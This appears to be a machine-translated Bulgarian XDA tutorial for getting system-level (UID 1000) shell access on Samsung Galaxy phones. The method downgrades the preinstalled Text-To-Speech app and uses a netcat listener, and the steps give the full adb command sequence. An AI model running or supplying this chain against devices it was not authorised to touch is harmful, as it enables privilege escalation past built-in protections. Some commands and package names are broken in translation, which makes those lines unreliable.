Как да получите достъп до системната обвивка на всяко устройство Samsung Galaxy

click fraud protection

бързи връзки

  • Предпоставки
  • Как да използвате всяко устройство Samsung Galaxy, за да получите достъп до системната обвивка
  • Проверка
  • Заключение

В първия понеделник на всеки месец Google публикува Бюлетин за сигурността на Android. Той разкрива всички смекчени уязвимости в сигурността в различните компоненти на операционната система Android като както и ядрото на Linux и техните корекции, изпратени от самите Google или други трети страни към това дата. Големи производители на оригинално оборудване като Samsung имат свой собствен поглед върху Android, така че те избират да включат свои собствени корекции и актуализации и в актуализации за сигурност.

С това казано, доста е трудно да се погрижите за всяка вратичка. Съществува множество вектори за атака и понякога можете да създадете своя собствена верига за експлойт въз основа на известна преди това уязвимост само защото имате нов метод за заобикаляне на една от предпазни мерки. Това е точно това, което XDA Senior Member K0mraid3 направи с четиригодишна уязвимост, която му позволи да получи достъп до системната обвивка на всяко устройство Samsung Galaxy – включително най-новите водещи – там. Въпреки че не е същото като

с root права, това е достатъчно висока локална ескалация на привилегии.

Основната входна точка на уязвимостта е в Samsung Text-To-Speech (име на пакета: com.samsung. SMT), предварително заредено системно приложение, което може да се намери на всяко устройство Samsung Galaxy. Идеята е инсталираната версия на приложението да се понижи до конкретна уязвима компилация (v3.0.02.2 за да бъдем точни), и след това го принуждава да зареди библиотека, която от своя страна отваря обвивка със системни привилегии (UID 1000).

Ако искате да научите повече за експлойта, не забравяйте да проверите Обяснителят на водещия технически редактор на XDA Адам Конуей. Той говори с K0mraid3, за да разбере пълния обхват на този експлойт и как работи.

  1. За да повторим, това не е root (UID 0) достъп, но достъпът до системната обвивка е достатъчно мощен, за да изпълни куп иначе ограничени двоични файлове.
  2. Доказателството за концепцията на K0mraid3 изисква помощен APK и трябва да го стартирате поне веднъж, преди да стартирате веригата за експлоатация.
  3. Един потребителски интерфейс, т.е. вградените рутинни процедури за пестене на енергия в персонализираната обложка на Android на Samsung може да бъде обезпокоителен, тъй като може да възпрепятства комуникацията между TTS приложението, помощния APK и обвивката. Затова предлагаме предварително да настроите профила за пестене на енергия на „Неограничен“ за приложенията.

Предпоставки

  1. Изтеглете предварително компилираната компилация на експлойта от Нишка във форума на XDA или официалното хранилище на GitHub, свързано по-долу: Експлойт на системната обвивка на K0mraid3s
  2. Разархивирайте някъде архива и трябва да намерите уязвимата версия на APK на Samsung Text-To-Speech (samsungTTSVULN2.apk), помощното приложение (Komraid3s_POC_Vx.x.apk) и изпълним файл на Windows с име systemshell-vx.x.exe.
  3. Уверете се, че най-новата версия на ADB е инсталиран на вашия PC/Mac/Chromebook. Освен това не забравяйте да инсталирайте/актуализирайте USB драйверите на Samsung ако сте потребител на Windows.

Как да използвате всяко устройство Samsung Galaxy, за да получите достъп до системната обвивка

Ръчен метод

  1. Свържете целевото устройство Galaxy към вашия компютър с включено USB отстраняване на грешки, уверете се, че е откриваемо от ADB, след което инсталирайте помощното приложение.
    adb install Komraid3s_POC_Vx.x.apk
    • Както споменахме по-рано, отворете помощното приложение поне веднъж, преди да продължите към следващата стъпка.
  2. Сега натиснете уязвимата версия на приложението Samsung TTS към /data/local/tmp и променете нейните разрешения:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Рестартирайте устройството. Веднага щом сте на началния екран, изпълнете следната команда, за да замените вече инсталираната версия на приложението Samsung TTS с уязвимата:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Ако всичко върви както трябва, трябва да видите съобщение „Успех“ на конзолата.
  4. Отворете обвивка на целевото устройство, като отворите друг терминален прозорец и изпълните adb обвивка, след това изпълнете двоичния файл на Netcat и прослушайте за входяща връзка на порт 9997 със следната команда:
    adb shell nc -lp 9997
  5. На този етап трябва да изпълним специфично действие на приложението Samsung TTS, което ще отвори системната обвивка за нас.
    • Използвайте приложение на трета страна като това за да създадете пряк път на „com.samsung. SMT/.gui. DownloadList“ дейност.
    • Можете също да използвате собствения мениджър на дейности на Android (am), за да направите същото. В такъв случай можете да го изпълните чрез ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) или използвайте приложение за терминален емулатор на вашия телефон/таблет като Termux и изпълнете следната команда:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Превключете обратно към първата обвивка и трябва да видите нова подкана със системни (UID 1000) привилегии.

Автоматизиран метод

За да улесни нещата, K0mraid3 предоставя и лесно за използване GUI приложение за автоматизиране на повечето задачи. Имайте предвид, че GUI приложението е само за Windows, така че ако сте потребител на Linux/macOS, по-добре е да се придържате към ръчния метод.

  1. Свържете целевото устройство Galaxy към вашия компютър с включено USB отстраняване на грешки, уверете се, че е откриваемо от ADB, след което инсталирайте помощното приложение.
    adb install Komraid3s_POC_Vx.x.apk
    • Както споменахме по-рано, отворете помощното приложение поне веднъж, преди да продължите към следващата стъпка.
  2. С целевото устройство, откриваемо от ADB, стартирайте systemshell-vx.x.exe на хост компютъра.
  3. Кликнете върху бутона „START SHELL“. Приложението автоматично ще понижи приложението Samsung TTS и ще се опита да отвори системната обвивка.
    • На вашия телефон/таблет може да видите приложението TTS, което ви подканва да изтеглите някои гласови данни. Няма нужда да взаимодействате с тези опции, тъй като те нямат нищо общо с експлойта.
    • В случай че приложението увисне или не успее да отвори прозореца на обвивката след известно време, затворете го, рестартирайте целевото устройство Galaxy и започнете отначало.
    • Приложението Galaxy Store може автоматично да актуализира и/или да нулира профила за пестене на енергия на приложението TTS във фонов режим, така че не забравяйте да го проверите, преди да започнете процеса от нулата.

Проверка

След като получите достъп до обвивката, можете да проверите нивото на привилегия, като използвате една от командите по-долу:

  • whoami
    • Резултатът трябва да бъде „система“
  • id -u
    • Резултатът трябва да бъде „1000“

Заключение

Типичният начин за постигане на root достъп на устройство с Android е първо да отключите буутлоудъра, който ви позволява да стартирате двоични файлове на трети страни. Тъй като моделът за сигурност на Android основно се разпада с root, тази стъпка умишлено деактивира една от ключовите функции за сигурност на устройството, което е защо потребителят трябва изрично да разреши това да се случи, като обикновено активира превключвател в Опции за разработчици и след това издаде команда за отключване на буутлоудър. След като буутлоудърът е отключен, потребителят може да въведе двоичен файл на суперпотребител в системата, а също и приложение за управление на суперпотребител (като Magisk), за да контролира кои процеси имат достъп до root.

С експлойта на системната обвивка, споменат по-горе, обаче, потребителят не трябва да отключва буутлоудъра, за да получи ескалирана привилегия. Въпреки че далеч не е root, "системният" потребител е достатъчно способен да получи достъп до редица дялове на ниско ниво (като като /efs), стартирайте различни инструменти за обслужване и отстраняване на грешки и променяйте много защитени стойности на проп - всичко това без дори да се спъвате Нокс. Тези примери засягат само няколко начина; злонамереният играч може да комбинира това с други уязвимости и да измисли по-престъпни действия.

Ще трябва да изчакаме и да видим как Google и Samsung ще се справят със сценария. Така или иначе вероятно трябва да деактивирате или премахнете приложението Samsung Text-To-Speech за момента.